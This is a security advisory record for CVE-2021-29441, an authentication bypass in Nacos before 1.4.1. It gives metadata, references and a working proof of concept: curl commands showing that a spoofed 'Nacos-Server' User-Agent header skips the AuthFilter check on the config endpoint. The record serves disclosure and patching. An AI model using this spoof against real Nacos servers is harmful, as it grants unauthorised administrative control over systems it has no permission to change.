ghsa-36hp-jr8h-556f
Vulnerability from github
When configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed.
The following request to the configuration endpoint gets rejected as we are not providing any credentials:
❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
{"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"}
However the following one gets accepted by using the Nacos-Server user-agent header:
❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
true
Impact
This issue may allow any user to carry out any administrative tasks on the Nacos server.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.alibaba.nacos:nacos-common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-29441"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-27T20:08:38Z",
"nvd_published_at": "2021-04-27T21:15:00Z",
"severity": "HIGH"
},
"details": "When configured to use authentication (`-Dnacos.core.auth.enabled=true`) Nacos uses the `AuthFilter` servlet filter to enforce authentication. This filter has a [backdoor](https://github.com/alibaba/nacos/blob/5fa05aef52f7432aeab19fe53035431b9d8c91d9/core/src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java#L78-L81) that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the `user-agent` HTTP header so it can be easily spoofed.\n\nThe following request to the `configuration` endpoint gets rejected as we are not providing any credentials:\n```\n\u276f curl -X POST \"http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo\u0026group=foo\u0026content=helloWorld\"\n{\"timestamp\":\"2020-12-02T14:33:57.154+0000\",\"status\":403,\"error\":\"Forbidden\",\"message\":\"unknown user!\",\"path\":\"/nacos/v1/cs/configs\"} \n```\n\nHowever the following one gets accepted by using the `Nacos-Server` user-agent header:\n```\n\u276f curl -X POST -A Nacos-Server \"http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo\u0026group=foo\u0026content=helloWorld\"\ntrue \n```\n\n#### Impact\n\nThis issue may allow any user to carry out any administrative tasks on the Nacos server.",
"id": "GHSA-36hp-jr8h-556f",
"modified": "2021-05-10T14:56:08Z",
"published": "2021-04-27T20:09:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29441"
},
{
"type": "WEB",
"url": "https://github.com/alibaba/nacos/issues/4701"
},
{
"type": "WEB",
"url": "https://github.com/alibaba/nacos/pull/4703"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-36hp-jr8h-556f"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Authentication Bypass"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.